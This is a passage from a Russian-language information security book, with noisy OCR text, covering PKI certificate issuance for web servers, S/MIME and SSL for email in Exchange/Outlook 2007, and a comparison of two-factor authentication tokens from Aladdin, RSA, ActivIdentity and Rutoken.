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3. Далее на странице Cryptographic Service Provider выберите 
SChannel CSP, указав длину ключа сертификата в битах. 

4. На странице File Name укажите имя файла запроса. 
5 .  Передать запрос на УЦ. Для этого необходимо зайти в систе

му под учетной записью с нравами Read and Enroll для шабло
нов сертификата веб-сервера. Далее с помощью браузера от
крыть URL http:j/CADNSName/certsrv, где CADNSName - это 
DNS (имя корпоративного УЦ) .  Затем выберите Request а 

Certificate. На странице Advanced Certificate Request выбе
рите Submit А Certificate Request Ву U sing А Base 64-Encoded 
СМС or PKCS # 1 0  File или Submit А Renewal Request Ву 
Using А Base 64-Encoded PKCS #7 File. 

6. В запросе укажите следующее: 
Saved Request: извлеките содержимое файла запроса в ноле 
Base 64-Encoded Certificate Request. Здесь также надо быть 
внимательным с DNS-именем. 

7. Далее на странице Cryptographic Service Provider выберите 
SChannel CSP, указав длину ключа сертификата в битах. 

8. В ноле File Name укажите имя файла запроса и нажмите Finish. 
9.  Установите выпущенный сертификат на веб-сервер. 

Как и прежде, для этого нам понадобится консоль IIS. В консо
ли выбираем имя сервера. Далее нажимаем два раза на Server 
Certificates. 
Также этот процесс может использоваться, если вы хотите при
менить различные шаблоны сертификатов,  отличные от ис
пользуемого но умолчанию шаблона. В свойствах Default Web 
Site выберите Directory Security. В разделе Actions выберите 
Complete Certificate Request. На странице Specify Certificate 
Authority Response укажите PKCS #7 - имя файла цепочки 
сертификатов и имя сертификата. 

1 0. Сконфигурируйте использование SS L-шифрования на веб
сервере. Эти действия выполняются аналогично описанным 
ранее, поэтому здесь мы их повторять не будем. 

Выпуск сертификатов для сторонних серверов 
Итак, мы достаточно подробно рассмотрели вопросы, связанные с вы
пуском сертификатов как в доменной среде, так и вне ее. Однако 
возможны ситуации, когда используются сторонние веб-серверы и 
нам необходимо настроить выдачу сертификатов для них. Примером 
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таких сторонних серверов могут быть не ПS-веб-системы, осуществ
ляющие предоставление услуг веб-хостинга. 

Когда сторонний веб-сервер запрашивает сертификат, происходит 
процесс, аналогичный описанному ранее. Для внедрения SSL на веб
сервер или устройство вам необходимо: 

1. Сгенерировать ключевую пару и сертификат веб-сервера для 
стороннего устройства. 

2. Передать запрос сертификата на УЦ. 
3. Установить выпущенный сертификат на сторонний веб-сервер 

или устройство. 
4. Включить SSL на стороннем веб-сервере. 

На этом я завершаю рассмотрение вопросов,  связанных с работой 
с сертификатами для веб-серверов. Далее мы поговорим об исполь
зовании сертификатов для защиты электронной почты. 

Защита электронной почты с помощью РК/ 

Многие организации используют электронную почту как метод связи 
между сотрудниками и внешними партнерами. По умолчанию элект
ронная почта передается без шифрования, то есть позволяя всем 
желающим просматривать содержимое почтового сообщения. Рас 
смотрим возможные способы криптографической защиты почтовых 
сообщений с использованием PKI. 

Существует несколько различных методов защиты электронной 
почты: 

О защита содержимого почтовых сообщений. Содержимое почто
вых сообщений защищается посредством внедрения Secure/ 
Multipurpose Internet Mail Extensions ( S/MIME);  

О защита данных, передаваемых между почтовым клиентом и поч
товым сервером. Поток данных защищается с но мощью SSL или 
TLS, обеспечивающих подтверждение идентичности почтового 
сервера и шифрование данных между почтовым клиентом и 
сервером. 

Рассмотрим более подробно оба этих метода. 

Secure/Мultipurpose lпternet Mail Exteпsioпs (SIМIME) 

Расширения S/MIME позволяют почтовым программам обеспечи
вать как цифровую подпись, так и шифрование почтовых сообщений 
для осуществления почтовой рассылки. 
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Рассмотрим более нодробно нринцин работы S/M IME. Начнем 
с цифровой НОДНИСИ. 

Цифровая ноднись сообщений электронной ночты иснользует 
нару ключей, с номощью которых как отнравитель, так и нолучатель 
могут нроверить аутентичность сообщения (рис. 73). 

lв 
��о Ф Кпасснфнкацн11 ® 
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Рис. 73. Процесс подпнсн S/MIME 

При этом вынолняются следующие шаги: 

1 .  Отнравитель создает ночтовое сообщение. 
2 .  Почтовый клиент отнравителя нроизводит хеширование тек

стового сообщения для создания дайджеста сообщения. 
3. Дайджест шифруется с иснользованием личного ключа отнра

вителя. 
4. Незашифрованное текстовое сообщение и зашифрованный 

дайджест отнравляются нолучателю. 
5 .  Получатель расшифровывает зашифрованный дайджест, ис

нользуя нубличный ключ отнравителя, которым ноднисано 
данное сообщение. 
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6. Получатель занускает тот же самый алгоритм хеширования 
текстового сообщения, который иснользовал отнравитель нри 
создании дайджеста ночтового сообщения. 

7. Далее оба дайджеста сравниваются. Если они не совнадают, то 
сообщение считается измененным, и об этом уведомляется от
нравитель. 

Тенерь наговорим о шифровании, а затем нерейдем к онисанию на
строек. В шифровании также иснользуется нара ключей нолучателя 
сообщения. Процесс шифрования нредставлен на рис. 7 4. 

1 .  Отнравитель нолучает нубличный ключ ночтового шифрова
ния, который нредоставляется службой Active Directory Domain 
Services (AD DS) или другой службой каталога, нозволяющей 
нолучить нубличный ключ из сертификата. 

2. Отнравитель генерирует симметричный ключ и иснользует этот 
ключ для шифрования оригинального ночтового сообщения. 

3. Симметричный ключ шифруется с номощью нубличного ключа 
нолучателя. 
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ключ получателя · 

t 
Active 

Direcfory 

��f-� 
рованное Снмметрнчный рованный 

сообщение ключ текст 
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Рис. 74. Процесс wнфровання почтового сообщення 
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4. Зашифрованный симметричный ключ вместе с зашифрован
ным сообщением передается получателю. 

5 .  Получатель использует свой частный ключ для расшифровки 
симметричного ключа. 

6. Зашифрованное почтовое сообщение расшифровывается с по
мощью симметричного ключа. В результате почтовое сообще
ние расшифровывается с помощью симметричного ключа. 

Далее необходимо сделать небольшое отступление и обратить 
внимание читателя на тот факт, что не каждое почтовое сообщение 
может быть зашифровано с помощью S/MIME. Для того чтобы со
общение было зашифровано, необходимо, чтобы в общем каталоге 
был доступен публичный ключ пользователя. В противном случае 
использовать S/MIME не получится. 

Еще одно замечание. Формат MIME предусматривает перевод дво
ичных данных, прикрепленных к письму в виде файлов, в текстовый 
вид. Соответственно, S/MIME будет обрабатывать все данные, пред
ставленные в текстовом виде. 

Теперь перейдем к практике. Как и прежде, сначала нам необхо
димо определиться с шаблонами сертификатов,  которые будут ис 
пользоваться. Прежде всего стоит решить, будет ли использоваться 
один и тот же сертификат для подписи сообщений и для шифрования 
или это будут два различных сертификата. Преимущество одного 
сертификата заключается в том, что пользователь управляет только 
одним сертификатом для всех операций с почтой. Недостатком явля
ется то, что если в организации выполняется резервное копирование 
сертификатов, то возможна ситуация, когда кто-либо посторонний 
сможет воспользоваться данным сертификатом для прочтения кон
фиденциальной почты. 

Преимуществом использования раздельных сертификатов явля
ется то, что операции подписи и шифрования можно делегировать 
разным сертификатам. Можно архивировать только сертификаты для 
шифрования, без связывания с конкретным пользователем. 

Если вы внедряете единый сертификат, то в соответствии с реко
мендациями [ 1 ]  лучше создать сертификат на основе шаблона версии 
2 Exchange User or Exchange Signature Only. Рекомендации но запол
нению нолей сертификата следующие: 

О General - удостоверьтесь в том, что публикуемый в AD серти
фикат доступен для других пользователей. То есть они могут 
использовать его для шифрования почтовых сообщений; 
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О Request Handling - поменяйте значение Purpose of the certi
ficate на Signature and Encryption для подписи сообщений и 
шифрования. Также в зависимости от требований организации 
можно настроить следующие дополнительные параметры на
строек: 

Кеу Archival - опция Кеу archival позволяет осуществить 
хранение зашифрованной копии личного ключа в базе СА; 
Private Кеу Protection - включение опции Prompt The User 
During Enrollment And Require User Input When The Private 
Кеу Is Used позволяет пользователю установить пароль для 
защиты личного ключа независимо от пароля на вход в си
стему; 

О Subject Name - для функционирования S/MIME ноле сер
тификата Subject должно включать адрес электронной почты 
пользователя. В данных каталога Active Directory адрес элект
ронной почты должен быть указан в настройках учетной записи 
пользователя ; 

О Security - универсальная или глобальная группа, которая со
держит всех пользователей, участвующих в почтовом обмене 
S/MIME. 

Для запроса сертификата мы можем, как и прежде, воспользовать
ся веб-интерфейсом УЦ. 

В случае использования двух сертификатов для подписи почтовых 
сообщений рекомендуется применять шаблон Exchange Signature 
Only. Для сертификата, используемого при шифровании почтовых 
сообщений, рекомендуется использовать шаблон Exchange User. 
Как уже упоминалось ранее, отдельный сертификат для шифрования 
можно архивировать без дополнительных рисков для безопасности. 
Настройки нолей для раздельных сертификатов будут аналогичны 
описанным выше для единого сертификата. Единственным отличием 
будут значения нолей General tab и Request Handling. 

Для развертывания S/MIME нам осталось только настроить поч
товые клиенты. В качестве примера приведу настройку в Outlook 
2007. В почтовом клиенте Outlook 2007 откроем меню Tools (в рус
скоязычной версии Действие) ,  далее Trust Center ( Центр управления 
безопасностью . . .  ), вкладка E-Mail Security ( Защита электронной поч
ты) (рис. 75) .  

Далее нажимаем кнопку Change Security Settings (Параметры) и 
указываем следующее: 

О Cryptography Format: S/MIME; 
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Рие. 75. Настройка почтового клнента Outlook 2 007 

О Default Security Settings For This Cryptographic Message Format: 
EnaЫed; 

О Default Security Settings For All Cryptographic Messages: EnaЫed; 
О Hash Algorithm: SHA5 1 2, SHA384, SHA256, SHA1 или MDS, но 

рекомендуется SHA 1 ;  
О Encryption Algorithm: AES (256-Ьit) ,  AES ( 192-Ьit) ,  ЗDES,  AES 

( 1 28-Ьit), RC2;  ( 1 28-Ьit), RC2 (64-Ьit), DES, or RC2 (40-Ьit), но 
рекомендуется AES ( 1 28-Ьit) ; 

О Send These Certificates With Signed Messages: ЕnаЫе. 

Затем нажимаем ОК. 
Для отнравки сообщения, защищенного S/MIME, в ночтовом кли

енте Outlook 2007 необходимо носле нанисания сообщения нажать 
кнонки Digitally Sign и Encrypt. 

На этом я завершаю обсуждение защиты электронной ночты с но
мощью технологии S/MIME. 
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SSL для почтовых протоколов 
Для увеличения защищенности электронной почты, помимо цифро
вой подписи и шифрования сообщений, можно использовать шифро
вание посредством протокола SSL. Теоретическую часть, связанную с 
работой протокола SSL, мы уже рассмотрели, поэтому перейдем сразу 
к практическим аспектам. 

С помощью SSL можно защитить протоколы, базирующиеся на 
общепринятых стандартах (RFC): 

О Post Offi.ce Protocol version 3 (РОРЗ) ;  
О Intemet Message Access Protocol ( IMAP4 ) ;  
О Simple Mail Transfer Protocol (SMTP ) ;  
О Network News Transfer Protocol (NNTP) .  

С помощью SSL мы можем также защитить базирующиеся на  RFC 
протоколы, которые использует сервер Exchange 2007. SSL шифрует 
данные между клиентом и сервером. 

Для включения SSL на сервере Exchange должен быть установлен 
сертификат, содержащий Server Authentication Enhanced Кеу Usage 
(EKU) ,  аналогичный сертификату в шаблоне веб-сервера, который 
мы рассматривали ранее. Для установки сертификата нам необходи
мо выполнить следующие действия: 

1. На сервер Exchange войти под учетной записью администрато
ра Exchange.  

2.  Далее пройти в Start menu � АН Programs � Microsoft Ex
change и выбрать System Manager. 

3. В открывшемся окне выбрать Servers, раскрыть ComputerNam, 
в Protocols выбрать используемый RFС-нротокол (IMAP или 
РОРЗ), затем нажать правую кнопку мыши на Default RFCPro
tocol Virtual Server и выбрать Properties. 

4. В открывшемся окне Default RFCProtocol Virtual Server Pro
perties dialog Ьох во вкладке Access нажать на Certificate. 

5. Запустится мастер Web Server Certificate Wizard, click. 
6. На странице Server Certificate нажимаем Create а New Certi

ficate и затем Next. В случае, если у вас уже есть сертификат 
веб-сервера, вы можете выбрать опцию Assign An Existing Cer
tificate. 

7. На странице Delayed Or Immediate Request выберите отправку 
запроса на сертификат немедленно, нажав Send The Request 
Immediately То An Online Certification Authority, затем Next. 

8. В окне Name And Security Settings подтвердите использование 
имени но умолчанию, нажмите N ext. 
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9.  На странице Organization укажите наименование организации 
и организационной единицы и затем нажмите Next. 

1 0. В разделе Your Site 's Common Name укажите DNS-имя, ис
пользуемое для соединения с почтовым сервером. 

1 1 . Затем на странице Geographical Information укажите Country, 
State/Province, and City /Locality для почтового сервера. 

12 .  На странице Choose А Certification Authority выберите доступ
ный корпоративный УЦ. 

13 .  Далее в Certificate Request Submission проверьте детали запро
са сертификата и нажмите Next. 

1 4. На завершающей странице Completing The Web Server 
Certificate Wizard нажмите кнопку Finish. 

Очевидно, что после включения шифрования на сервере необходи
мо то же самое сделать и на всех почтовых клиентах. Включить ис
пользование шифрования можно в свойствах учетной записи клиента. 

Результатом развертывания SSL для защиты электронной почты 
стало существенное усилие безопасности в корпоративной сети, так 
как теперь злоумышленник не сможет прослушать почтовый трафик, 
передаваемый между клиентами и почтовым сервером. 

Заключение 
Итак, мы рассмотрели только использование инфраструктуры от
крытого ключа для защиты веб-сервера и электронной почты. Однако 
этими системами использование PKI не ограничивается. Данную тех
нологию можно также применять для защиты беспроводных соеди
нений, цифровой подписи документов,  смарт-карт, VРN-соединений 
и т. д. 

7.6 . С истем ы двухфактор ной 

ауте нти фи каци и 

Одной из наиболее характерных черт для современного бизнеса стала 
мобильность участников бизнес -процессов. Так, сотрудник торговой 
компании, разъезжая в поисках покупателей и партнеров , имеет воз
можность зайти в интернет-кафе в любом городе мира и проверить 
содержимое своего почтового ящика или посмотреть последние изме
нения цен, которые бьши сделаны компанией за время его отсутствия. 
При этом стоит отметить, что число сервисов, к которым нредостав-
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ляется удаленный доступ, постоянно увеличивается. И технологии 
доступа тоже не стоят на месте. Если раньше требовались сложные 
для пользователя VРN-клиенты и дополнительные разрешения на 
межсетевых экранах для специфичных протоколов , то теперь �лег
кие� клиенты используют SSL и тем самым делают удаленное под
ключение более простым в использовании. Кроме того, большинство 
современных бизнес-приложений имеют веб-интерфейс, так что ис
пользование VРN-клиента не требуется вовсе. 

Проблемы безопасности 
Однако за кажущейся простотой удаленного подключения к корпо
ративной сети скрывается целая система организационных и техни
ческих мероприятий, проводимых в компании с целью обеспечения 
требуемого уровня безопасности. Помимо прочего, для удаленного 
доступа необходимо предусмотреть систему аутентификации поль
зователей. 

Классическим решением является использование имени пользова
теля и пароля. При этом обычно эти учетные данные совпадают с ис
пользуемыми для входа в локальную сеть. То есть используется один 
аккаунт из Active Directory как для входа в сеть с рабочей станции, 
так и для удаленного доступа. Недостатки такого подхода очевид
ны. При подключении из интернет-кафе есть большая вероятность, 
что учетные данные будут украдены, причем защита соединения на 
уровне протокола SSL не всегда поможет, так как на сам компьютер 
может быть установлено шпионское ПО.  К тому же �правильно� 
установленные видеокамеры могут сильно помочь злоумышленни
кам. При этом не имеет особого значения сложность используемого 
пароля. Единственное, что может немного помешать взломщикам, -
это частая смена пароля, но обычно их меняют не чаще одного раза 
в несколько месяцев. 

Еще одна атака, с помощью которой могут совершаться кражи 
учетных данных, - это фишинг. При осуществлении данной атаки 
пользователю �подсовывается� поддельный веб-сайт, но виду абсо
лютно идентичный настоящему, на котором он вводит свой логин/ 
пароль, затем, к примеру, появляется сообщение об ошибке и произ
водится переадресация на настоящий сайт для повторного ввода па
роля. Такие атаки часто используют для поделки сайтов интернет-ма
газинов или приложений мобильного банкинга. Эта атака может быть 
проведена, даже если вы используете свой собственный компьютер, 
например с помощью DNS-cepвepa, контролируемого злоумышлен-
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пиками, и при запросе определенных сайтов , перенаправляющего на 
поддельный сайт. 

7. 6. 1 .  Принципы работы двухфакторной 
аутентификации 

Виды двухфакторной аутентификации 
Таким образом, на основании приведенного в предыдущем абзаце 
делаем вывод, что использование нары логин/нароль для удаленной 
аутентификации является не всегда достаточным. Процессу аутен
тификации предшествует идентификация, то есть вопрос: кто ты? 
Ответом на первый вопрос является имя пользователя. Далее следу
ет аутентификация: что ты знаешь? что у тебя есть? Здесь ответом 
на первый вопрос является пароль, а что может являться ответом 
на второй? Тут пользователь должен предоставить некий иденти
фикатор, как правило, аппаратный, позволяющий ему осуществлять 
вход в систему. В качестве такого идентификатора могут выступать 
смарт-карты или USВ-токены. Данные средства для аутентифика
ции требуют физического подключения и знания некоторого секрета 
(РIN-кода). Для этого на клиентский компьютер необходимо устано
вить драйверы и клиента, а также подключить считыватель. Это на
кладывает определенные ограничения на использование аппаратных 
идентификаторов. 

Однако вернемся к нашему интернет-кафе, где злоумышленники 
могут без труда перехватить любой пароль. Здесь использовать аппа
ратный идентификатор не получится, так как для его подключения не
обходимо устанавливать драйверы и клиентское ПО. И считыватель 
носить с собой не очень удобно. Тут для решения проблемы аутен
тификации используются так называемые �одноразовые пароли� 
(One-Time Password - ОТР).  Это может быть либо список паролей, 
напечатанных на бумажке, каждый из которых можно использовать 
только но одному разу (такой метод используется в системах интер
нет-банкинга), или аппаратный генератор паролей, высвечивающий 
одноразовый пароль на экране. Здесь одноразовый пароль заменяет 
собой аппаратный идентификатор - ключ. 

Как при использовании аппаратных идентификаторов, так и с ОТР 
необходима серверная часть, которая проверяет корректность пере
данных пользователем данных. 

На серверной части компьютерной системы пароль ОТР сравнива
ется с паролем, сгенерированным самим сервером но такому же алго-
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ритму с использованием показаний текущего времени часов сервера и 
уникальных данных устройства, которые хранятся в специальной БД. 
При совпадении паролей разрешается доступ пользователя в систему. 

В заключение этого раздела отметим основные преимущества двух
факторной аутентификации с использованием ОТР. К ним относятся: 

О применение одноразовых паролей вместо статических (даже 
если злоумышленник подсмотрит пароль, он не сможет им вос
пользоваться, поскольку при следующей аутентификации сер
вер сгенерирует уже новый пароль) ;  

О отсутствие необходимости устанавливать какое-либо допол
нительное программное обеспечение на клиентской части 
компьютерной системы, так как пользователь вводит пароль 
вручную, используя те же программные интерфейсы, что и при 
применении статических паролей ; 

О снижение затрат на администрирование, поскольку админист
ратору не нужно периодически менять статические пароли на 
сервере; 

О низкая стоимость устройств для генерации одноразовых па
ролей; 

О применение генераторов ОТР возможно в тех случаях, когда 
пользователю недоступен U SВ-норт (либо он просто отсутству
ет - как в PDA, смартфонах, мобильных телефонах). 

Другие виды двухфакторной аутентификации 
Помимо аппаратных идентификаторов и одноразовых паролей, су
ществуют также и другие технологии, позволяющие осуществлять 
многофакторную аутентификацию. Прежде всего это системы био
метрического распознавания. Опознать человека можно но многим 
уникальным признакам, таким как отпечатки пальцев, сетчатка глаза, 
голос, изображение лица. Но наиболее распространенным биометри
ческим идентификатором является отпечаток пальца. Правда, техно
логия распознавания также не лишена недостатков. Например, если 
вы пришли в помещение с мороза, считыватель не распознает ваших 
отпечатков,  пока не отогреете руку. Также в случае пореза пальца 
могут возникнуть трудности с опознанием. 

Биометрические характеристики могут являться одним из эле
ментов двухфакторной аутентификации. Однако в рамках данного 
материала мы не будем рассматривать биометрию, а ограничимся 
лишь системой двухфакторной аутентификации, основанной на ап
паратных идентификаторах и ОТР. 
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Формируем требования 
Перед тем как приступить к сравнению систем двухфакторной аутен
тификации, нам необходимо сформировать требования, которым они 
должны отвечать. Основные требования у нас уже есть: это наличие 
аппаратного идентификатора и ОТР. Таким образом, нам необходи
ма система, использующая смарт-карты или USВ-токены, в которых 
встроен генератор одноразовых паролей. В дополнение к этому дан
ный аппаратный идентификатор должен хранить сертификат поль
зователя, необходимый для успешной аутентификации. Сформируем 
остальные требования. 

Задачи системы двухфакторной аутентификации: 

О обеспечить идентификацию и надежную аутентификацию поль
зователя при удаленном доступе к сети и работе с информацией 
особой важности; 

О контролировать доступ к информации с использованием крин
тостойких методов аутентификации; 

О предоставить доступ к информационными ресурсам компании 
сотрудникам из недоверенных сред (интернет-кафе, компьюте
ров с неконтролируемым состоянием безопасности) ;  

О обеспечить безопасное хранение и генерацию кринтоинформа
ции (ключей шифрования, ЭЦП и т. д . ) ;  

О соответствовать требованиям российского законодательства 
в сфере применения средств кринтозащиты. 

Данные требования определяют основные задачи, выполняемые 
системой.  Также приведу несколько дополнительных требований 
к двухфакторной аутентификации: 

О безопасно хранить идентификационную информацию; 
О обеспечить гарантированную защиту от кражи идентификаци

онной информации через Интернет; 
О использовать однократные пароли при работе в недоверенной 

среде; 
О использовать кринтографически стойкую аутентификацию при 

доступе с рабочими станциями, веб-норталами, электронной 
почтой, удаленным доступом в сеть и беспроводными соеди
нениями; 

О интегрироваться с корпоративной системой открытых ключей 
PKI с использованием сертификатов стандарта Х.509; 

О обеспечить использование сотрудниками средств двухфактор
ной аутентификации за счет интеграции с системой контроля 
доступа в помещения; 
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О использовать сертифицированные регулирующими органами 
РФ решения но защите информации. 

Итак, у нас есть требования, которые мы предъявляем к системам 
двухфакторной аутентификации, теперь перейдем к описанию самих 
решений. 

7. 6.2. Сравнение систем 

Решения Aladdin 
Компания Aladdin является признанным лидером в области раз 
работки средств двухфакторной аутентификации, поэтому вполне 
логичным будет начать наше описание с их решений. Электронные 
ключи Aladdin eToken - персональное средство аутентификации и 
защищенного хранения данных, аппаратно поддерживающее работу 
с цифровыми сертификатами и электронной цифровой подписью 
( ЭЦП).  Модельный ряд eToken представлен U SВ-ключами, смарт
картами, комбинированными устройствами и автономными генера
торами одноразовых паролей ( ОТР). Сначала рассмотрим модельный 
ряд ключей Aladdin. 

eToken PRO Uava) является представителем нового поколения 
USВ-ключей и смарт-карт eToken, построенным на базе Jаvа-карты с 
увеличенным объемом защищенной памяти для хранения пользова
тельских данных (72 Кб) и возможностью расширения функционала 
за счет загрузки дополнительных приложений Оаvа-аннлетов) .  Вы
пускается в виде USВ-ключа и смарт-карты. 

Модель еТоkеп ГО СТ - это персональное средство формирова
ния Э ЦП с неизвлекаемым закрытым ключом, предназначенное 
разработчикам систем дистанционного банковского обслуживания, 
электронных торгов, сдачи налоговой отчетности для встраивания 
в клиентскую часть, а также разработчикам СКЗИ для обеспечения 
надежной защиты закрытых ключей и аппаратной реализации ЭЦП. 
Говоря о требованиях законодательства, стоит отметить, что данная 
модель находится на сертификационных испытаниях в ФСБ России 
как средство криптографической защиты информации. 

КриптоПро еТоkеп CSP - это персональное средство формирования 
электронной цифровой подписи ( Э ЦП) для юридически значимого 
электронного документооборота, государственных услуг и защиты 
персональных данных. Совместная разработка лидеров российско
го рынка информационной безопасности - компаний КринтоПро и 
Аладдин. 
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Комбинированный USВ-ключ eToken NG-FLASH (Java) с дополни
тельным модулем Flаsh-намяти объемом до 16 Гб для использования 
в системах информационной безопасности, сочетающий возможности 
смарт-карты и защищенного хранилища данных. 

Модель eToken NG- O TP (Java) - это комбинированный U S В 
ключ с генератором одноразовых паролей. Обладает всем функцио
налом электронных ключей eToken PRO (Java) для использования 
в РКI-системах и автономным режимом работы без подключения 
к компьютеру. Автономный режим может быть использован в мо
бильных телефонах, смартфонах, а также обычных компьютерах, на 
которых отсутствуют или недоступны USВ-норты (например, при 
работе в интернет-кафе или чужом офисе) .  

Автономный генератор одноразовых паролей е Token PASS. Устрой
ство не требует подключения к компьютеру и установки дополни
тельного программного обеспечения и может использоваться в лю
бых операционных системах, а также при доступе к защищенным 
ресурсам с мобильных устройств и терминалов, не имеющих USВ
разъема или устройства чтения смарт-карт. 

еТоkеп PRO Anywhere - USВ-ключ, предоставляющий возможность 
безопасного доступа к веб-ресурсам с любого компьютера без пред
варительной установки программного обеспечения. 

Большинство моделей электронных ключей Aladdin eToken серти
фицированы ФСТЭ К. 

Сертифицированы модели: еТоkеп PRO, еТоkеп PRO (Java), еТоkеп 
PRO Anywhere, еТоkеп NG-FLASH, eToken NG-FLASH (Java), eToken 
NG- O TP, еТоkеп NG- O TP (Java), еТоkеп GТ. 

Электронные ключи eToken сертифицированы ФСТЭК России 
для использования в автоматизированных системах, обрабатываю
щих конфиденциальную информацию, и могут использоваться 
в ИС ПДн до 1 -го класса включительно и для создания автомати
зированных информационных систем до класса защищенности 1 Г 
включительно. 

В соответствии с теми требованиями, которые мы предъявили ра
нее, наиболее подходящей моделью является еТоkеп NG- O TP (Java) 
(рис. 1 .76),  так как она сочетает в себе как аппаратный идентифика
тор, так и средство генерации одноразовых паролей ОТР. Отмечу, что 
в случае если вам не нужен аппаратный идентификатор, то у Aladdin 
имеется еТоkеп PASS (рис. 77) ,  отвечающий только за генерацию одно
разовых паролей (рис. 76, 77). 

В качестве системы централизованного управления ключами ис
пользуется ПО Token Management System. С помощью данного сред-
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Рис. 76. Внешннн внд 
eToken NG-OTP (Java} 

Рис. 77. Внешннн внд 
eToken PASS 

ства над токенами можно удаленно нроизводить различные действия 
но администрированию. 

Не носледнюю роль в нредночтительности того или иного решения 
играет цена. Узнать стоимость нродуктов комнании Aladdin можно 
нрямо на их сайте. Отсутствие необходимости занрашивать цены у 
нредставителей комнании нозволяет существенно ускорить нроцесс 
оценки стоимости решения. В соответствии с нрайс-листом на сай
те Aladdin сертифицированная модель eToken NG- O TP (Java)/72K/ 
CERT- 1883 будет стоить 1 776 руб. за штуку нри нокунке до 1 000 клю
чей и 1 723 нри нокунке большего числа. Модель eToken PASS - 713 
и 663 соответственно. 

Решения RSA 

Комнания RSA снециализируется на разработке различных средств 
информационной безонасности, и средства двухфакторной аутенти
фикации входят в их накет решений наравне с другими нродуктами. 
Также у RSA имеются нрограммные и аннаратные средства для двух
факторной аутентификации. Но начнем с онисания нрограммных 
решений. 

Имеется широкий выбор тинов электронных токенов. Каждый то
кен имеет встроенную батарею, рассчитанную на все время жизни -
от двух до няти лет в зависимости от тина. В нериод экснлуатации 
устройство не нуждается в обслуживании и замене батареи (рис. 78). 

о 1 59  1 59 .) 

li'!ll!.l!ID 

Рис. 78. Внешннн внд RSA Securid 
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На сегодняшний день доступны следующие модели аппаратных 
токенов. Токен RSA Secur!D SD200 но форме аналогичен банковской 
пластиковой карте. Токен RSA Secur!D SD520 но размерам схож с 
SD200, но имеет цифровую панель. Пользователь набирает нии-код 
на этой напели. В результате токен отображает не просто токен-код, 
а комбинацию нии-кода и токен-кода, которая вводится при аутен
тификации. Данное решение позволяет обеспечить сохранность нин
кода, даже если записываются нажатия клавиш. Токен RSA Secur!D 
SID800 совмещает в себе функционал модели SID 700 и u USВ-смарт
карту. Это позволяет использовать его как отторгаемое хранилище 
цифровых сертификатов . 

В качестве средств двухфакторной аутентификации наиболее 
подходящими могут быть модели RSA Secur!D SD 700 и RSA Secur!D 
SID800. Первая является генератором ОТР, вторая же объединяет 
аппаратный идентификатор и ОТР. 

Также имеются программные средства аутентификации, представ
ляющие собой аналогичные аппаратным генераторы паролей, которые 
можно установить на компьютер или смартфон. Использование про
граммных генераторов одноразовых паролей дает возможность при 
определенных условиях сэкономить на развертывании системы двух
факторной аутентификации. Например, если у вас на смартфоне име
ется генератор паролей, то носить с собой аппаратный уже не нужно. 
Кроме того, это снижает потери в случае утраты аппаратного ключа. 

На сегодняшний день доступны следующие модели программных 
средств аутентификации: 

О ПО для рабочих станций под управлением Microsoft Windows, 
MacOS Х; 

О панель для веб-браузеров Internet Explorer и Mozilla Firefox; 
О ПО для КПК под управлением Windows MoЬile 2003, PalmOS, 

BlackBerry; 
О ПО для смартфонов: Ericsson R380, Nokia 92 1 0. 

Что касается требований российского законодательства, то на рос
сийском сайте RSA никаких сведений о наличии сертификатов не 
имеется. Возможно, для получения сведений о наличии сертификатов 
ФСТЭК и ФСБ необходимо обратиться непосредственно к разра
ботчикам. Аналогичная ситуация и с ценами. На официальном сайте 
данных нет, цены необходимо запрашивать у партнеров RSA. 

Говоря о ценах, стоит отметить, что минимальное количество клю
чей RSA Secur!D, которые можно приобрести, составляет 25 штук. 
Стоимость одной лицензии составляет порядка 1 1  тысяч руб. 
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Решения Activldentity 

Еще один довольно известный нроизводитель средств двухфактор
ной аутентификации - это комнания Activldentity. Решения комна
нии Activldentity включают в себя: защиту удаленного достуна, кор
норативные системы хранения и унравления наролями нриложений 
( Single Sign- On), корноративные карты достуна, многофакторную 
верификацию и идентификацию. В рамках данного раздела нас ин
тересуют решения для двухфакторной аутентификации ActivKey и 
Activldentity О ТР Token (рис. 79). 

Рис. 79. Внешний вид ActivKey 

USВ-ключи ActivKey являются аннаратным средством, которое 
нозволяет реализовать двухфакторную аутентификацию, цифровую 
ноднись и шифрование данных. Как и в нродуктах других разработ
чиков, устройствам ActivKey для нодключения к рабочим станциям и 
ноутбукам не требуется донолнительного считывателя - устройства. 
Можно нодключиться нанрямую через USВ-норт, тем самым экономя 
ИТ-ресурсы. Простое нодсоединение ключа к свободному USВ-норту 
реализует строгую аутентификацию на рабочей станции, сетевых ре
сурсах, нри работе в режиме удаленного достуна, а также нозволяет 
авторизоваться в нриложениях, обеснечивая защиту данных и тран
закций. 

Также USВ-ключи ActivKey для сотрудников являются идентифи
каторами, унравляют нерсональными данными, обеснечивают функ
ции PKI, храня идентификационные данные нользователей. 

Для централизованного унравления ключами иснользуется систе
ма Activ!D Card Management System (CMS), нозволяющая администра
торам унравлять ключами удаленно. 

В качестве решения для генерации одноразовых наролей имеется 
решение Activldentity О ТР Token. Возможны различные варианты реа
лизации достуна но ОТР. 
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В частности, Activldentity Strong Authentication for Remote Access 
нредоставляет с номощью генераторов одноразовых наролей достун 
к VPN, сетям, веб-сайтам и нриложениям, раснолагающимся на уда
ленных хостах. Решение Strong Authentication for Workstation and 
Network Access с номощью генераторов одноразовых наролей нредо
ставляет достун через беснроводные точки и тонкие клиенты. Также 
Strong Authentication for Applications нозволяет иснользовать гене
раторы одноразовых наролей для работы со стандартными и нользо
вательскими нриложениями. 

Решения Рутокен 
На рынке средств двухфакторной аутентификации имеются и рос
сийские игроки, в частности комнания Рутокен. Решения данного 
разработчика нользуются особой нонулярностью в госучереждениях, 
где нредъявляются новышенные требования к наличию сертифика
тов Ф СТЭК и ФСБ,  хотя они не лишены ряда недостатков. Прежде 
всего мне не удалось найти варианта реализации генератора одно
разовых наролей. Притом, в отличие от онисанных ранее систем, 
здесь нет не только совмещенного ключа с ОТР, но и отдельного 
генератора ОТР. 

Электронный идентификатор Rutoken - это комнактное устрой
ство в виде U S В-брелока, которое служит для авторизации нользо
вателя в сети или на локальном комньютере, защиты электронной 
нерениски , безонасного удаленного достуна к информационным 
ресурсам, а также надежного хранения нерсональных данных 
(рис. 80) .  

Цель.нопито�1 1Фрпус и з  вь1сакопрач ног9 пластика 

EEPROM-n•мяn. 

Усипенный ра.эьем с �е11иченным ресурсом под..-.пюч ения Э.аw.ищенн�1й м�tt<роконтроплер 

Рие. 80. Внешннн внд ключа Rutoken 

Rutoken с уснехом заменяет любые нарольные системы защиты, 
ведь тенерь не нужно заноминать множество логинов и сложных на
